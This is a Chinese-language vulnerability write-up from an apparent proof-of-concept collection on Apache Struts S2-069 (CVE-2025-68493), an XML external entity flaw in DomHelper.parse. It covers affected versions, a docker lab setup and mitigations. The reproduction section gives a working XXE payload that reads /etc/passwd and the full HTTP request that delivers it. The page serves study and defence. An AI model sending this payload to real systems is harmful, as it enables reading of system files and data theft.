Files
Awesome-POC/中间件漏洞/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493.md
2026-01-21 16:22:08 +08:00

3.3 KiB
Raw Permalink Blame History

Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493

漏洞描述

Apache Struts 是一个开源的 MVC(Model-View-Controller)Web 应用框架,广泛用于构建 Java EE 企业级 Web 应用程序。它通过简化开发流程、提供强大的标签库和拦截器机制,帮助开发者快速构建结构清晰、可维护性高的动态网站。Struts 2 架构基于 XWork 命令模式框架,支持插件化扩展,并长期作为 Java Web 开发的主流选择之一。

Apache Struts XWork-Core 组件中对 XML 解析器安全选项配置不当,攻击者可利用该漏洞,通过构造恶意的 XML 数据并发送至受影响的 Apache Struts 应用,触发 XML 外部实体注入,进而实现数据泄露、SSRF、拒绝服务等攻击。该漏洞的利用条件是在自定义代码中使用了 com.opensymphony.xwork2.util.DomHelper.parse 危险函数。

注意,该漏洞 Struts 框架默认不受影响,com.opensymphony.xwork2.util 只是一个工具类,DomHelper.parse 需要开发者显式调用,因此影响范围较小。

参考链接:

漏洞影响

2.0.0 <= Apache Struts <= 2.3.37(EOL)
2.5.0 <= Apache Struts <= 2.5.33(EOL)
6.0.0 <= Apache Struts <= 6.1.0

环境搭建

参考 环境配置 ,执行如下命令启动一个 Struts 2.5.25 服务:

docker-compose up -d

服务启动后,访问 http://your-ip:8080 即可访问主页。

漏洞复现

启动环境后,访问 http://your-ip:8080/demo 即可访问接口。该接口是参考 该文章 创建的一个 XXEAction,用于解析传入的 XML。

Apache Struts XWork-Core 组件在解析 XML 配置时,未对 XML 进行严格的验证和安全配置,导致存在 XML 外部实体注入漏洞。构造一个恶意 XML 实体进行文件读取:

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
POST /demo HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded

xmlContent=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+foo+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E

漏洞修复

对于暂时无法完成版本升级的用户,可采取以下临时缓解措施:

  • 使用自定义 SAXParserFactory:配置系统属性 xwork.saxParserFactory,指定一个默认禁用外部实体的自定义工厂类,阻止恶意外部实体的解析;
  • 配置 JVM 级别的安全参数:通过设置系统属性禁用 XML 解析器对外部实体的访问,具体配置如下:
-Djavax.xml.accessExternalDTD=""
-Djavax.xml.accessExternalSchema=""
-Djavax.xml.accessExternalStylesheet=""